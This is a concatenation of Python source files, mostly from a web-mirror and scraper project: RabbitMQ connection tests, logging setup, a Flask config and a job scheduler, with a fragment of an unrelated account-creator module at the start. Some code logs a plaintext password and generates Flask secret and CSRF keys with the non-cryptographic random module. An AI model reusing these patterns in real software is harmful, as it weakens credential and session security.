    response = req.call()
    print('Accepted Terms of Service for {}'.format(username))





from pikaptcha.accountcreator import *






__all__ = [
    'PTCException',
    'PTCInvalidStatusCodeException',
    'PTCInvalidNameException',
    'PTCInvalidEmailException',
    'PTCInvalidPasswordException',
    'PTCInvalidBirthdayException',
]


class PTCException(Exception):
    """Base exception for all PTC Account exceptions"""
    pass


class PTCInvalidStatusCodeException(Exception):
    """Base exception for all PTC Account exceptions"""
    pass


class PTCInvalidNameException(PTCException):
    """Username already in use"""
    pass


class PTCInvalidEmailException(PTCException):
    """Email invalid or already in use"""
    pass


class PTCInvalidPasswordException(PTCException):
    """Password invalid"""
    pass


class PTCInvalidBirthdayException(PTCException):
    """Birthday invalid"""
    pass







import urllib.parse
import logging
import threading
import pickle
import time
import json
import logging
import ssl
import os.path
import LocalAmqpConnector

import amqpstorm
import logSetup

DIE = False

class AmqpContainer(object):
	def __init__(self):

		self.log = logging.getLogger("Main.Connector")

		self.log.info("Initializing AMQP connection.")

		config = json.load(open("test_conf.json"))
		self.config = config

		# qs = urllib.parse.urlencode({
		# 	'cacertfile'           : self.config['sslopts']['ca_certs'],
		# 	'certfile'             : self.config['sslopts']['certfile'],
		# 	'keyfile'              : self.config['sslopts']['keyfile'],

		# 	'verify'               : 'ignore',
		# 	'heartbeat'            : 15,

		# 	'connection_timeout'   : 60,

		# 	})

		# uri = '{scheme}://{username}:{password}@{host}:{port}/{virtual_host}?{query_str}'.format(
		# 	scheme       = 'amqps',
		# 	username     = self.config['userid'],
		# 	password     = self.config['password'],
		# 	host         = self.config['host'].split(":")[0],
		# 	port         = self.config['host'].split(":")[1],
		# 	virtual_host = self.config['vhost'],
		# 	query_str    = qs,
		# 	)


		assert 'task_queue_name'          in config
		assert 'response_queue_name'      in config
		assert 'task_exchange'            in config
		assert 'task_exchange_type'       in config
		assert 'response_exchange'        in config
		assert 'response_exchange_type'   in config
		assert 'durable'                  in config
		assert 'prefetch'                 in config
		assert 'flush_queues'             in config
		assert 'hearbeat_packet_timeout'  in config

		self.log.info("Connection configuration:")
		for key, value in config.items():
			self.log.info("	%s -> %s", key, value)

		self.keepalive_exchange_name = "keepalive_exchange"+str(id("wat"))
		self.hearbeat_packet_timeout = config['hearbeat_packet_timeout']

		self.task_exchange   = config['task_exchange']
		self.task_queue_name = config['task_queue_name']
		self.durable         = config['durable']

		self.log.info("Initializing AMQP connection.")

		conn_params = {
				'hostname'     : self.config['host'].split(":")[0],
				'username'     : self.config['userid'],
				'password'     : self.config['password'],
				'port'         : int(self.config['host'].split(":")[1]),
				'virtual_host' : self.config['virtual_host'],
				'heartbeat'    : self.config['socket_timeout'] // 2,
				'timeout'      : self.config['socket_timeout'],
				'ssl'          : True,
				'ssl_options'  : {
					'ca_certs'           : self.config['sslopts']['ca_certs'],
					'certfile'             : self.config['sslopts']['certfile'],
					'keyfile'              : self.config['sslopts']['keyfile'],
				}
			}

		self.storm_connection = amqpstorm.Connection(**conn_params)

		self.log.info("Connection established. Setting up consumer.")
		self.storm_channel = self.storm_connection.channel(rpc_timeout=conn_params['timeout'])

		# Initial QoS is tiny, throttle it up after everything is actually running.
		self.storm_channel.basic.qos(1, global_=True)

		self.last_hearbeat_received = time.time()
		self.last_message_received = time.time()

		self.rx_timeout_lock        = threading.Lock()
		self.heartbeat_timeout_lock = threading.Lock()
		self.active_lock            = threading.Lock()


		self.log.info("Configuring queues.")


		self.storm_channel.exchange.declare(
					exchange=config['task_exchange'],
					exchange_type=config['task_exchange_type'],
					durable=config['durable']
				)

		self.storm_channel.exchange.declare(
					exchange=config['response_exchange'],
					exchange_type=config['response_exchange_type'],
					durable=config['durable']
				)

		# # "NAK" queue, used for keeping the event loop ticking when we
		# # purposefully do not want to receive messages
		# # THIS IS A SHITTY WORKAROUND for keepalive issues.

		self.storm_channel.exchange.declare(
					exchange=self.keepalive_exchange_name,
					durable=False,
					auto_delete=True)

		self.storm_channel.queue.declare(
					queue=config['response_queue_name'],
					durable=config['durable'],
					auto_delete=False)
		self.log.info("Declared.")

		self.storm_channel.queue.bind(
					queue=config['response_queue_name'],
					exchange=config['response_exchange'],
					routing_key=config['response_queue_name'].split(".")[0])

		self.log.info("Bound.")

		self.log.info("Triggering consume from %s", config['response_queue_name'])
		self.storm_channel.basic.consume(self.handle_normal_rx, queue=config['response_queue_name'],         no_ack=False)
		self.log.info("Consume triggered.")

	def enter_blocking_rx_loop(self):
		self.storm_channel.start_consuming(to_tuple=False)

	def handle_normal_rx(self, message):

		with self.rx_timeout_lock:
			self.last_message_received = time.time()
		# self.rx_queue.put(message.body)
		message.ack()

		self.log.info("Message packet received! %s", len(message.body))
		with open("msg %s.json" % time.time(), "wb")  as fp:
			fp.write(pickle.dumps(message.body))

		self.close()

	def close(self):

		self.log.info("Killing connection")
		self.storm_connection.kill()
		self.storm_channel.kill()


# def test_disconnect():

# 	config = json.load(open("test_conf.json"))

# 	qs = urllib.parse.urlencode({
# 		'cacertfile'           : config['sslopts']['ca_certs'],
# 		'certfile'             : config['sslopts']['certfile'],
# 		'keyfile'              : config['sslopts']['keyfile'],

# 		'verify'               : 'ignore',
# 		'heartbeat'            : 15,

# 		'connection_timeout'   : 60,

# 		})

# 	uri = '{scheme}://{username}:{password}@{host}:{port}/{virtual_host}?{query_str}'.format(
# 		scheme       = 'amqps',
# 		username     = config['userid'],
# 		password     = config['password'],
# 		host         = config['host'].split(":")[0],
# 		port         = config['host'].split(":")[1],
# 		virtual_host = config['vhost'],
# 		query_str    = qs,
# 		)


# 	connection = rabbitpy.Connection(uri)
# 	print("Connected. Connection: ", connection)
# 	time.sleep(5)
# 	print("Closing")
# 	connection.close()

def test_basic():


	tester = AmqpContainer()


	thread = threading.Thread(target=tester.enter_blocking_rx_loop, daemon=True)
	thread.start()
	wait_time = 120
	for x in range(wait_time):
		time.sleep(1)
		print("Sleeping: ", wait_time-x)

	tester.close()


def getSslOpts():
	'''
	Verify the SSL cert exists in the proper place.
	'''
	certpath = './rabbit_pub_cert/'

	caCert = os.path.abspath(os.path.join(certpath, './cacert.pem'))
	cert = os.path.abspath(os.path.join(certpath, './cert1.pem'))
	keyf = os.path.abspath(os.path.join(certpath, './key1.pem'))

	assert os.path.exists(caCert), "No certificates found on path '%s'" % caCert
	assert os.path.exists(cert), "No certificates found on path '%s'" % cert
	assert os.path.exists(keyf), "No certificates found on path '%s'" % keyf

	ret = {"cert_reqs" : ssl.CERT_REQUIRED,
			"ca_certs" : caCert,
			"keyfile"  : keyf,
			"certfile"  : cert,
		}
	print("Certificate config: ", ret)

	return ret

def test_direct():

	logPath = 'Main.Feeds.RPC'

	log = logging.getLogger(logPath)
	log.info("RPC Management class instantiated.")

	settings = json.load(open("test_conf.json"))

	# Require clientID in settings
	assert "userid"       in settings
	assert "password"       in settings
	assert "host"       in settings
	assert "virtual_host"       in settings

	assert "task_queue_name"         in settings
	assert "response_queue_name"     in settings

	sslopts = getSslOpts()
	connector = LocalAmqpConnector.Connector(userid            = settings["userid"],
											password           = settings["password"],
											host               = settings["host"],
											virtual_host       = settings["virtual_host"],
											ssl                = sslopts,
											master             = True,
											synchronous        = False,
											flush_queues       = False,
											prefetch           = 25,
											durable            = True,
											heartbeat          = 240,
											task_exchange_type = 'direct',
											poll_rate          = 1.0/100,
											task_queue         = settings["task_queue_name"],
											response_queue     = settings["response_queue_name"],
											)


	log.info("Connected AMQP Interface: %s", connector)
	log.info("Connection parameters: %s, %s, %s, %s", settings["userid"], settings["password"], settings["host"], settings["virtual_host"])


	wait_time = 120
	for x in range(wait_time):
		time.sleep(1)
		print("Sleeping: ", wait_time-x)

	connector.stop()


if __name__ == "__main__":
	logSetup.initLogging(logLevel=logging.DEBUG)

	test_basic()
	# test_disconnect()
	# test_direct()









#!flask/bin/python

import sys
import time
import traceback
import datetime
import settings

import sqlalchemy.exc

import config
import WebMirror.database as db
import WebMirror.LogBase as LogBase
from nusync import AmqpInterface


if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()




def go():
	print("go")
	settings_dict = {
		"RABBIT_LOGIN" : settings.NU_RABBIT_LOGIN,
		"RABBIT_PASWD" : settings.NU_RABBIT_PASWD,
		"RABBIT_SRVER" : settings.NU_RABBIT_SRVER,
		"RABBIT_VHOST" : settings.NU_RABBIT_VHOST,
	}
	nureleaseconsumer = AmqpInterface.RabbitQueueHandler(settings_dict, is_master=True)
	print(nureleaseconsumer)
	while 1:
		time.sleep(1)
		try:
			release = nureleaseconsumer.get_item()
			print(release)
		except Exception:
			pass


if __name__ == "__main__":

	go()







# Yeah. just used for ~~one~~ two boolean flags.
run = True

# Determines if proxies in nameTools preload contents when started.
preloadDicts = False


# Global run control value. Only used to stop running processes.
import multiprocessing
run_state     = multiprocessing.Value('i', 1)
agg_run_state = multiprocessing.Value('i', 1)
job_run_state = multiprocessing.Value('i', 1)


db_imp_lock = multiprocessing.Lock()








import logging
import multiprocessing
import colorama as clr
import threading
import os.path
import sys
import re
import time
import traceback
# Pylint can't figure out what's in the record library for some reason
#pylint: disable-msg=E1101

colours = [clr.Fore.BLUE, clr.Fore.RED, clr.Fore.GREEN, clr.Fore.YELLOW, clr.Fore.MAGENTA, clr.Fore.CYAN, clr.Back.YELLOW + clr.Fore.BLACK, clr.Back.YELLOW + clr.Fore.BLUE, clr.Fore.WHITE]

def getColor(idx):
	return colours[idx%len(colours)]


class UnlockedHandler(logging.Handler):

	def acquire(self):
		"""
		Acquire the I/O thread lock.
		"""
		return

	def release(self):
		"""
		Release the I/O thread lock.
		"""
		return


stdout_lock = multiprocessing.Lock()


# THIS IS HORRIBLE
logging.Handler = UnlockedHandler


def getProcessSafeLogger(logPath):
	if multiprocessing.current_process().name == "MainProcess":
		return logging.getLogger(logPath)
	else:
		return multiprocessing.get_logger(logPath)


def resetLoggingLocks():
	'''
	This function is a HACK!

	Basically, if we fork() while a logging lock is held, the lock
	is /copied/ while in the acquired state. However, since we've
	forked, the thread that acquired the lock no longer exists,
	so it can never unlock the lock, and we end up blocking
	forever.

	Therefore, we manually enter the logging module, and forcefully
	release all the locks it holds.

	THIS IS NOT SAFE (or thread-safe).
	Basically, it MUST be called right after a process
	starts, and no where else.
	'''
	try:
		logging._releaseLock()
	except RuntimeError:
		pass  # The lock is already released

	# Iterate over the root logger hierarchy, and
	# force-free all locks.
	# if logging.Logger.root
	for handler in logging.Logger.manager.loggerDict.values():
		if hasattr(handler, "lock") and handler.lock:
			try:
				handler.lock.release()
			except RuntimeError:
				pass  # The lock is already released



class ColourHandler(UnlockedHandler):

	def __init__(self, level=logging.DEBUG):
		UnlockedHandler.__init__(self, level)
		self.formatter = logging.Formatter('\r%(name)s - %(style)s%(levelname)s - %(message)s'+clr.Style.RESET_ALL)
		clr.init()

		self.logPaths = {}


	def emit(self, record):

		# print record.levelname
		# print record.name

		segments = record.name.split(".")
		tname = threading.current_thread().name
		segments.append(tname)
		if segments[0] == "Main" and len(segments) > 1:
			segments.pop(0)
			segments[0] = "Main."+segments[0]

		nameList = []

		for indice, pathSegment in enumerate(segments):
			if not indice in self.logPaths:
				self.logPaths[indice] = [pathSegment]
			elif not pathSegment in self.logPaths[indice]:
				self.logPaths[indice].append(pathSegment)

			name = clr.Style.RESET_ALL
			name += getColor(self.logPaths[indice].index(pathSegment))
			name += pathSegment
			name += clr.Style.RESET_ALL
			nameList.append(name)


		record.name = ".".join(nameList)

		if record.levelname == "DEBUG":
			record.style = clr.Style.DIM
		elif record.levelname == "WARNING":
			record.style = clr.Style.BRIGHT
		elif record.levelname == "ERROR":
			record.style = clr.Style.BRIGHT+clr.Fore.RED
		elif record.levelname == "CRITICAL":
			record.style = clr.Style.BRIGHT+clr.Back.BLUE+clr.Fore.RED
		else:
			record.style = clr.Style.NORMAL

		# record.padding = ""
		record.msg = str(record.msg).encode("utf-8", "replace").decode("utf-8")
		record.padding = ""
		msg = self.format(record)
		msg = str(msg).encode("utf-8", "replace").decode("utf-8")
		with stdout_lock:
			print(msg)

ansi_escape = re.compile(r'\x1b[^m]*m')

class RobustFileHandler(logging.FileHandler):
	"""
	A handler class which writes formatted logging records to disk files.
	"""
	def __init__(self, *args, **kwargs):
		super().__init__(*args, **kwargs)

		self.output_streams = {}

	def acquire(self):
		"""
		Acquire the I/O thread lock.
		"""
		return

	def release(self):
		"""
		Release the I/O thread lock.
		"""
		return


	def stream_emit(self, record, source_name):
		"""
		Emit a record.

		If a formatter is specified, it is used to format the record.
		The record is then written to the stream with a trailing newline.  If
		exception information is present, it is formatted using
		traceback.print_exception and appended to the stream.  If the stream
		has an 'encoding' attribute, it is used to determine how to do the
		output to the stream.
		"""

		if not source_name in self.output_streams:
			out_path = os.path.abspath("./logs")
			logpath = ansi_escape.sub('', source_name.replace("/", ";").replace(":", ";").replace("?", "-"))
			filename = "log {path}.txt".format(path=logpath)
			print("Opening output log file for path: %s" % filename)
			self.output_streams[source_name] = open(os.path.join(out_path, filename), self.mode, encoding=self.encoding)

		stream = self.output_streams[source_name]
		try:
			msg = self.format(record)
			stream.write(msg)
			stream.write(self.terminator)
			stream.flush()
			self.flush()
		except Exception:
			self.handleError(record)

	def emit(self, record):
		"""
		Emit a record.

		If the stream was not opened because 'delay' was specified in the
		constructor, open it before calling the superclass's emit.
		"""
		failures = 0
		while failures < 3:
			try:
				self.stream_emit(record, record.name)
				break
			except:
				failures += 1
		else:
			traceback.print_stack()
			print("Error writing to file?")


		self.close()


def exceptHook(exc_type, exc_value, exc_traceback):
	if issubclass(exc_type, KeyboardInterrupt):
		sys.__excepthook__(exc_type, exc_value, exc_traceback)
		return
	mainLogger = logging.getLogger("Main")			# Main logger
	mainLogger.critical('Uncaught exception!')
	mainLogger.critical("Uncaught exception", exc_info=(exc_type, exc_value, exc_traceback))

# Global hackyness to detect and warn on double-initialization of the logging systems.
LOGGING_INITIALIZED = False

def initLogging(logLevel=logging.INFO):

	global LOGGING_INITIALIZED
	if LOGGING_INITIALIZED:

		print("ERROR - Logging initialized twice!")
		try:
			print(traceback.format_exc())
			return
		except Exception:
			pass

	LOGGING_INITIALIZED = True

	print("Setting up loggers....")

	if not os.path.exists(os.path.join("./logs")):
		os.mkdir(os.path.join("./logs"))

	mainLogger = logging.getLogger("Main")			# Main logger
	mainLogger.setLevel(logLevel)

	ch = ColourHandler()
	mainLogger.addHandler(ch)

	logName	= "log - %s.txt" % (time.strftime("%Y-%m-%d %H;%M;%S", time.gmtime()))

	errLogHandler = RobustFileHandler(os.path.join("./logs", logName))
	errLogHandler.setLevel(logging.INFO)
	# formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
	# errLogHandler.setFormatter(formatter)

	# mainLogger.addHandler(errLogHandler)

	# Install override for excepthook, to catch all errors
	sys.excepthook = exceptHook

	print("done")


if __name__ == "__main__":
	initLogging(logToDb=True)
	log = logging.getLogger("Main.Test")
	log.debug("Testing logging - level: debug")
	log.info("Testing logging - level: info")
	log.warn("Testing logging - level: warn")
	log.error("Testing logging - level: error")
	log.critical("Testing logging - level: critical")







if __name__ == '__main__':
	import logSetup
	logSetup.initLogging()

import json
import Misc.diff_match_patch as dmp
import WebMirror.util.webFunctions as wf

def go():
	wg = wf.WebGetRobust()

	new_content = wg.getpage("http://royalroadl.com/fictions/")
	old_content = wg.getpage("http://royalroadl.com/fictions/")

	print("Calculating diff")

	differ = dmp.diff_match_patch()

	diff = differ.patch_make(new_content, old_content)
	textdiff = differ.patch_toText(diff)

	# print(textdiff)

	print(len(new_content), len(old_content), len(diff), len(textdiff))
	print(len(old_content.split("\n")), len(new_content.split("\n")))

	differ_2 = dmp.diff_match_patch()
	d2     = differ_2.patch_fromText(textdiff)
	old_content_reconstituted, results = differ_2.patch_apply(d2, new_content)

	print(type(old_content_reconstituted))
	print("Succeeded: ", old_content == old_content_reconstituted)


	# err = differ_2.patch_make(new_content, old_content_reconstituted)
	# print(err)
	# print(d2)

	# import code
	# code.interact(local=locals())

	# d = difflib.unified_diff(new_content.splitlines(1), old_content.splitlines(1))
	# diff = "".join(list(d))
	# print(diff)
	# print(len(new_content), type(new_content))
	# print(len(old_content), type(old_content))
	# print(new_content==p2)

	# print(d)
	# print(len(diff))
	# print(wg)


if __name__ == '__main__':
	go()








from settings import DATABASE_IP            as C_DATABASE_IP
from settings import DATABASE_DB_NAME       as C_DATABASE_DB_NAME
from settings import DATABASE_USER          as C_DATABASE_USER
from settings import DATABASE_PASS          as C_DATABASE_PASS

from settings import RELINK_SECRET          as C_RELINK_SECRET
from settings import RESOURCE_DIR           as C_RESOURCE_DIR
from settings import RABBIT_ENABLED         as C_DO_RABBIT


from settings import RABBIT_LOGIN           as C_RABBIT_LOGIN
from settings import RABBIT_PASWD           as C_RABBIT_PASWD
from settings import RABBIT_SRVER           as C_RABBIT_SRVER
from settings import RABBIT_VHOST           as C_RABBIT_VHOST

import os
import sys
import hashlib
import datetime

import string
import random
random.seed()

if len(sys.argv) > 1 and "debug" in sys.argv:
	SQLALCHEMY_ECHO = True


REFETCH_INTERVAL = datetime.timedelta(days=7*3)
relink_secret = hashlib.sha1(C_RELINK_SECRET.encode("ascii")).hexdigest()

basedir = os.path.abspath(os.path.dirname(__file__))

def get_random(chars):
	rand = [random.choice(string.ascii_letters) for x in range(chars)]
	rand = "".join(rand)
	return rand


class BaseConfig(object):

	SQLALCHEMY_DATABASE_URI = 'postgresql://{user}:{passwd}@{host}:5432/{database}'.format(user=C_DATABASE_USER, passwd=C_DATABASE_PASS, host=C_DATABASE_IP, database=C_DATABASE_DB_NAME)
	SQLALCHEMY_MIGRATE_REPO = os.path.join(basedir, 'db_repository')

	CSRF_ENABLED = True
	WTF_CSRF_ENABLED = True


	# administrator list
	ADMINS = ['you@example.com']

	# slow database query threshold (in seconds)
	DATABASE_QUERY_TIMEOUT = 0.5

	SEND_FILE_MAX_AGE_DEFAULT = 60*60*12

	# pagination
	TAGS_PER_PAGE = 50
	GENRES_PER_PAGE = 50
	SERIES_PER_PAGE = 50

	POSTS_PER_PAGE = 50
	MAX_SEARCH_RESULTS = 50

	FEED_ITEMS_PER_PAGE = 150

	DATABASE_IP            = C_DATABASE_IP
	DATABASE_DB_NAME       = C_DATABASE_DB_NAME
	DATABASE_USER          = C_DATABASE_USER
	DATABASE_PASS          = C_DATABASE_PASS


	RESOURCE_DIR = C_RESOURCE_DIR

	# The WTF protection doesn't have to persist across
	# execution sessions, since that'll break any
	# active sessions anyways. Therefore, just generate
	# them randomly at each start.
	SECRET_KEY             = get_random(20)
	WTF_CSRF_SECRET_KEY    = get_random(20)








import urllib.parse
import logging
import threading
import time
import json

import amqpstorm

DIE = False

class AmqpContainer(object):
	def __init__(self):

		self.log = logging.getLogger("Main.Connector")

		self.log.info("Initializing AMQP connection.")

		self.config = json.load(open("test_conf.json"))



		# 'hostname': hostname,
		# 'username': username,
		# 'password': password,
		# 'port': port,
		# 'virtual_host': kwargs.get('virtual_host', '/'),
		# 'heartbeat': kwargs.get('heartbeat', 60),
		# 'timeout': kwargs.get('timeout', 30),
		# 'ssl': kwargs.get('ssl', False),
		# 'ssl_options': kwargs.get('ssl_options', {})
		self.connection = amqpstorm.Connection(
				hostname     = self.config['host'].split(":")[0],
				username     = self.config['userid'],
				password     = self.config['password'],
				port         = int(self.config['host'].split(":")[1]),
				virtual_host = self.config['vhost'],
				heartbeat    = 15,
				timeout      = 30,
				ssl          = True,
				ssl_options  = {
					'ca_certs'           : self.config['sslopts']['ca_certs'],
					'certfile'             : self.config['sslopts']['certfile'],
					'keyfile'              : self.config['sslopts']['keyfile'],
				}
			)

		print("Connection Established!")
		print("Connection: ", self.connection)

		self.channel = self.connection.channel()
		self.channel.basic.qos(10)
		self.log.info("Connection established. Setting up consumer.")


		self.channel.exchange.declare(
					exchange="test_resp_enchange.e",
					exchange_type="direct",
					durable=False,
					auto_delete=True
				)


		self.log.info("Configuring queues.")

		self.channel.queue.declare('test_resp_queue.q',
					durable=False,
					auto_delete=True)
		self.log.info("Declared.")

		self.channel.queue.bind(queue='test_resp_queue.q', exchange="test_resp_enchange.e", routing_key='test_resp_queue')
		self.log.info("Bound.")
		self.channel.basic.consume(self.process_rx, 'test_resp_queue.q', no_ack=False)
		self.log.info("Consume triggered.")

		self.log.info("Starting thread")
		self.tx_thread = threading.Thread(target=self.fill_queue)

		self.tx_thread.start()

		try:
			self.log.info("Consuming.")
			self.channel.start_consuming(to_tuple=False)
			self.close()
		except KeyboardInterrupt:
			self.close()

		# self.in_q  = rabbitpy.Queue(self.channel, name="test_resp_queue.q", durable=False,  auto_delete=False)
		# self.in_q.declare()
		# self.in_q.bind(resp_exchange, routing_key="test_resp_queue")




	def process_rx(self, message):
		print("received message!", message)
		print("message body:", message.body)
		message.ack()

	def fill_queue(self):
		while not DIE:
			print("Putting message")

			# channel.basic.publish(body='Hello World!',
			# 					  routing_key='simple_queue')
			try:
				self.channel.basic.publish(exchange="test_resp_enchange.e", body='test?', routing_key="test_resp_queue")
			except amqpstorm.AMQPError as why:
				self.log.error("Exception in publish!")
				self.log.error(why)
				self.channel.stop_consuming()
				return
			time.sleep(0.1)

	def interrupt(self):
		self.in_q.stop_consuming()

	def close(self):
		print("Joining")
		print("Closing connection")
		global DIE
		DIE = True
		self.tx_thread.join()
		self.connection.close()
		print("Closed")

		self.connection.close()




def test():
	import sys
	import os.path
	logging.basicConfig(level=logging.INFO)
	# test_disconnect()

	tester = AmqpContainer()


if __name__ == "__main__":
	test()








#!flask/bin/python

import sys
import traceback
import datetime
import time
from pytz import reference
import pytz


import sqlalchemy.exc

from apscheduler.schedulers.blocking  import BlockingScheduler
from apscheduler.schedulers.background  import BackgroundScheduler
from apscheduler.executors.pool       import ProcessPoolExecutor
from apscheduler.executors.pool       import ThreadPoolExecutor
from apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore

import config
import WebMirror.database as db
import WebMirror.LogBase as LogBase

if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()

from WebMirror.Runner import NO_PROCESSES
from settings import MAX_DB_SESSIONS

import activePlugins

SQLALCHEMY_DATABASE_URI = 'postgresql://{user}:{passwd}@{host}:5432/{database}'.format(user=config.C_DATABASE_USER, passwd=config.C_DATABASE_PASS, host=config.C_DATABASE_IP, database=config.C_DATABASE_DB_NAME)


CALLABLE_LUT = {}
for item, dummy_interval in activePlugins.scrapePlugins.values():
	print("Plugin: ", item.__name__)
	assert item.__name__ not in CALLABLE_LUT, "Plugin appears twice in call lookup table (%s)?" % item.__name__
	CALLABLE_LUT[item.__name__] = item


class JobNameException(Exception):
	pass

class JobCaller(LogBase.LoggerMixin):

	loggerPath = "Main.PluginRunner"

	def __init__(self, job_name):

		if not job_name in CALLABLE_LUT:
			raise JobNameException("Callable '%s' is not in the class lookup table: '%s'!" % (job_name, CALLABLE_LUT))
		self.runModule = CALLABLE_LUT[job_name]
		self.job_name = job_name


		session = db.get_db_session()

		try:
			query = session.query(db.PluginStatus).filter(db.PluginStatus.plugin_name==job_name)
			have = query.scalar()
			if not have:
				new = db.PluginStatus(plugin_name=job_name)
				session.add(new)
				session.commit()
		except sqlalchemy.exc.OperationalError:
			session.rollback()
		except sqlalchemy.exc.InvalidRequestError:
			session.rollback()

		finally:
			db.delete_db_session()

	def doCall(self):

		self.log.info("Calling job %s", self.job_name)
		session = db.get_db_session()
		item = session.query(db.PluginStatus).filter(db.PluginStatus.plugin_name==self.job_name).one()
		if item.is_running:
			session.commit()
			self.log.error("Plugin %s is already running! Not doing re-entrant call!", self.job_name)
			return

		item.is_running = True
		item.last_run = datetime.datetime.now()
		session.commit()

		try:
			self._doCall()
		except Exception:
			item.last_error      = datetime.datetime.now()
			item.last_error_msg  = traceback.format_exc()
			raise
		finally:

			item2 = session.query(db.PluginStatus).filter(db.PluginStatus.plugin_name==self.job_name).one()
			item2.is_running = False
			item2.last_run_end = datetime.datetime.now()
			session.commit()
			db.delete_db_session()
		self.log.info("Job %s complete.", self.job_name)

	# Should probably be a lambda? Laaaazy.
	def _doCall(self):
		instance = self.runModule()
		instance._go()

	@classmethod
	def callMod(cls, passMod):
		mod = cls(passMod)
		mod.doCall()

def do_call(job_name):
	caller = JobCaller(job_name)

	while 1:
		try:
			caller.doCall()
			break
		except JobNameException:
			print("Error! Invalid job name: '%s'!" % job_name)
			break
		except AttributeError:
			traceback.print_exc()
			print("Call error!")

def scheduleJobs(sched, timeToStart):

	jobs = []
	offset = 0
	for key, value in activePlugins.scrapePlugins.items():
		baseModule, interval = value
		jobs.append((key, baseModule, interval, timeToStart+datetime.timedelta(seconds=60*offset)))
		offset += 1

	activeJobs = []

	print("JobCaller: ", JobCaller)
	print("JobCaller.callMod: ", JobCaller.callMod)

	for jobId, callee, interval, startWhen in jobs:
		jId = callee.__name__
		activeJobs.append(jId)
		if sched.get_job(jId):
			print("JobID %s already scheduled." % jId)
		else:
			print("Need to add new job for ID: ", jId)
			sched.add_job(do_call,
						args               = (callee.__name__, ),
						trigger            = 'interval',
						# jobstore           = 'sqlalchemy',
						seconds            = interval,
						next_run_time      = startWhen,
						id                 = jId,
						replace_existing   = True,
						max_instances      = 1,
						coalesce           = True,
						misfire_grace_time = 2**30)


	for job in sched.get_jobs('main_jobstore'):
		if not job.id in activeJobs:
			print("Extra job in jobstore: %s. Removing." % job.id)
			sched.remove_job(job.id, 'main_jobstore')


def resetRunStates():
	print("JobSetup call resetting run-states!")
	session = db.get_db_session()
	session.query(db.PluginStatus).update({db.PluginStatus.is_running : False})
	session.commit()
	db.delete_db_session()
	print("Run-states reset.")


def dump_scheduled_jobs(sched):
	print("Scheduled jobs:")
	existing = sched.get_jobs()
	if not existing:
		print("	No jobs in scheduler!")

	tznow = datetime.datetime.now(tz=pytz.utc)
	for job in existing:
		print("	", job, job.args, "running in:", job.next_run_time - tznow)


	# session = db.get_db_session()
	# items = session.query(db.PluginStatus).all()
	# print("Jobs in DB:")
	# for item in items:
	# 	print("	", item)
	# db.delete_db_session()


def go_sched():
	resetRunStates()

	sched = BackgroundScheduler({
			'apscheduler.jobstores.default': {
				'type': 'sqlalchemy',
				'url': SQLALCHEMY_DATABASE_URI
			},
			'apscheduler.executors.default': {
				'class': 'apscheduler.executors.pool:ProcessPoolExecutor',
				'max_workers': '10'
			},
			'apscheduler.job_defaults.coalesce': 'true',
			'apscheduler.job_defaults.max_instances': '5',
		})

	# Apparently the scheduler pull the jobs from the backend until you start it,
	# so if you're trying to validate the jobs already present, you have to start it
	# before iterating over jobs in the jobstore.
	sched.start()

	print("Jobs in scheduler:")
	dump_scheduled_jobs(sched)
	startTime = datetime.datetime.now(tz=pytz.utc)+datetime.timedelta(seconds=10)
	scheduleJobs(sched, startTime)
	dump_scheduled_jobs(sched)
	print("Starting scheduler.")
	while 1:
		try:
			dump_scheduled_jobs(sched)
			time.sleep(30)
		except KeyboardInterrupt:
			break
	sched.shutdown()


if __name__ == "__main__":

	print("Auxilliary modes: 'test', 'scheduler'.")


	largv = [tmp.lower() for tmp in sys.argv]

	global NO_PROCESSES
	global MAX_DB_SESSIONS

	MAX_DB_SESSIONS = NO_PROCESSES + 5
	MAX_DB_SESSIONS = 4
	go_sched()






#!flask/bin/python


if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()

# This HAS to be included before the app, to prevent circular dependencies.
# import WebMirror.runtime_engines

from settings import MAX_DB_SESSIONS
from WebMirror.Runner import NO_PROCESSES
import WebMirror.Runner
import WebMirror.rules
import WebMirror.SpecialCase

def go():

	import pystuck; pystuck.run_server()

	largv = [tmp.lower() for tmp in sys.argv]

	if not "noreset" in largv:
		print("Resetting any in-progress downloads.")
		WebMirror.Runner.resetInProgress()
	else:
		print("Not resetting in-progress downloads.")

	rules = WebMirror.rules.load_rules()
	# WebMirror.Runner.initializeStartUrls(rules)

	global NO_PROCESSES
	global MAX_DB_SESSIONS
	MAX_DB_SESSIONS = NO_PROCESSES + 5

	processes = 16
	NO_PROCESSES = processes
	MAX_DB_SESSIONS = NO_PROCESSES + 5
	if "maxprocesses" in largv:
		processes = 24
		NO_PROCESSES = processes
		MAX_DB_SESSIONS = NO_PROCESSES + 5
	elif "fewprocesses" in largv:
		processes = 8
		NO_PROCESSES = processes
		MAX_DB_SESSIONS = NO_PROCESSES + 5
	elif "twoprocess" in largv:
		processes = 2
		NO_PROCESSES = processes
		MAX_DB_SESSIONS = NO_PROCESSES + 2
	elif "oneprocess" in largv:
		processes = 1
		NO_PROCESSES = processes
		MAX_DB_SESSIONS = NO_PROCESSES + 2

	runner = WebMirror.Runner.Crawler(thread_count=NO_PROCESSES)
	runner.run()

	# print("Thread halted. App exiting.")

if __name__ == "__main__":
	import sys

	largv = [tmp.lower() for tmp in sys.argv]

	if "scheduler" in sys.argv:
		print("Please use runScheduler.py instead!")
		sys.exit(1)
	else:

		started = False
		if not started:
			started = True
			go()









# Convenience functions to make intervals clearer.
def days(num):
	return 60*60*24*num
def hours(num):
	return 60*60*num
def minutes(num):
	return 60*num


# Plugins in this dictionary are the active plugins. Comment out a plugin to disable it.
# plugin keys specify when plugins will start, and cannot be duplicates.
# All they do is specify the order in which plugins
# are run, initially, starting after 1-minue*{key} intervals

import WebMirror.TimedTriggers.RssTrigger
import WebMirror.TimedTriggers.RollingRewalkTrigger
import WebMirror.TimedTriggers.PageTriggers
import Misc.NuForwarder.NuForwarder
import WebMirror.util.StatusUpdater.Updater

scrapePlugins = {
	0  : (WebMirror.TimedTriggers.RssTrigger.RssTriggerBase,                     minutes(30)),
	# 1  : (WebMirror.TimedTriggers.RollingRewalkTrigger.RollingRewalkTriggerBase, minutes(90)),
	2  : (WebMirror.TimedTriggers.PageTriggers.HourlyPageTrigger,                minutes(45)),
